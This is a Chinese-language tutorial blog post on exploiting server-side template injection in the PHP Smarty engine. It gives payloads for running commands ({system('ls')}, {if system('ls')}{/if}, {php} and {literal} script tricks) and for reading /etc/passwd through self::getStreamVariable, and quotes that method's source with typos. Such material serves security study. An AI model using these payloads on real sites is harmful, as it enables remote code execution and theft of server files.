当前位置: 首页 > article >正文

深入解析Smarty SSTI 利用

Smarty

Smarty是基于PHP开发的,对于Smarty的SSTI 的利用与常见的flask的SSTI有很大区别,了解过Jinjia2模板注入的应该知道,Jinjia2是基于python的,而Smarty是基于PHP的,所以使用起来还是比较容易地,我们只需要达到 命令执行即可

查看版本
{$smarty.version}
常用标签
{php}

Smarty支持使用{php}{/php}标签来执行被包裹其中地命令,最常规地思路就是先测试该标签

{php}phpinfo(){/php}

不过Smarty已经废弃了{php}标签。在Smarty3.1,{php}仅可以在Smarty BC中使用。

直接输入命令即可

{system('ls')}
{literal}标签

官方手册这样描述这个标签

{literal}可以让一个模板区域的字符原样输出,这样常常用于保护页面上的JavaScript或者CSS样式表,避免因为Smarty的定界符而被错误解析

使用JavaScript语句进行命令执行,常见的变形语句:

<script language="php">phpinfo();</script>

当然这样的语法,在php5中可以使用,在PHP7中不可以使用。

因为**{literal}**中支持JavaScript语法,所以我们可以RCE

{literal}
	<script language="php">phpinfo();</script>
{/literal}
调用静态方法

通过self获取Smarty类,再调用其静态方法实现文件读写

Smarty类的getStreamVariable方法的代码

public function getStreamVariable($variable) {

	$_result = '';
	$fp = fopen($variable,'r+');
	if ($fp) {
		while(!feof($fp) && (current_line = fgets($fp)) != false){
			$_result .= $current_line;
		}
		fclose($fp);
		return $_result;
	}
	$smarty = isset($this -> smarty)?$this->smarty : $this;
		if($smarth->error_unassigned) {
			throw new SmartyExcption('undefined stram variable ""'.$variable.'"');
		}
		else {
		return null;
		}
}

这个方法可以读取一个文件并返回其内容,所以我们可以使用self来获取smarty对象,并调用这个方法,很多文章里面给的payload都形如

{self::getStreamVariable("file:///etc/passwd")}
{if}

官方文档中这样描述

Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性,每个{if}必须有一个配对的{/if},也可以使用{else}和{elseif},全部的PHP条件表达式和函数都可以在{if}内使用,比如|| 、 or 、 && 、 and 、is_array()等等,如{if_is_array($array)}{/if}*

既然全部的PHP函数都可以使用,那么我们可以是利用此来执行我们的代码

{if phpinfo()}{/if}
{if system('ls')}{/if}

http://www.kler.cn/a/280083.html

相关文章:

  • 租用服务器都有哪些用途?
  • 数据结构: 树状数组
  • Linux中的常见命令——用户管理命令
  • Excel技能分享:不同sheet间根据值匹配进行赋值
  • 图解计算机网络:一条 HTTP 请求的网络拓扑之旅
  • 同城外卖系统开发方案解析
  • 无线领夹麦克风行业乱象专业揭晓:避免音频失真等潜在危害
  • 论文《Graph Structural Attack by Perturbing Spectral Distance》笔记
  • SpringCloudGateway重写负载均衡策略
  • 4个诀窍教你苹果手机怎么看wifi密码,赶紧学起来吧
  • k8s部署redis一主两从三哨兵(集群内访问)
  • 腾讯地图接入报错vue.runtime.esm.js:4605[Vue warn]: Error in v-on handler: “far <= 0“
  • clickhouse-neighbor 坑爹的排序
  • nginx配置http和https
  • Shader笔记:光照与阴影1
  • 【大模型系列篇】预训练模型:BERT GPT
  • AntvX6-edge
  • C语言 | Leetcode C语言题解之第355题设计推特
  • Git Clone
  • QGC地面站连接roslanch创建的仿真无人机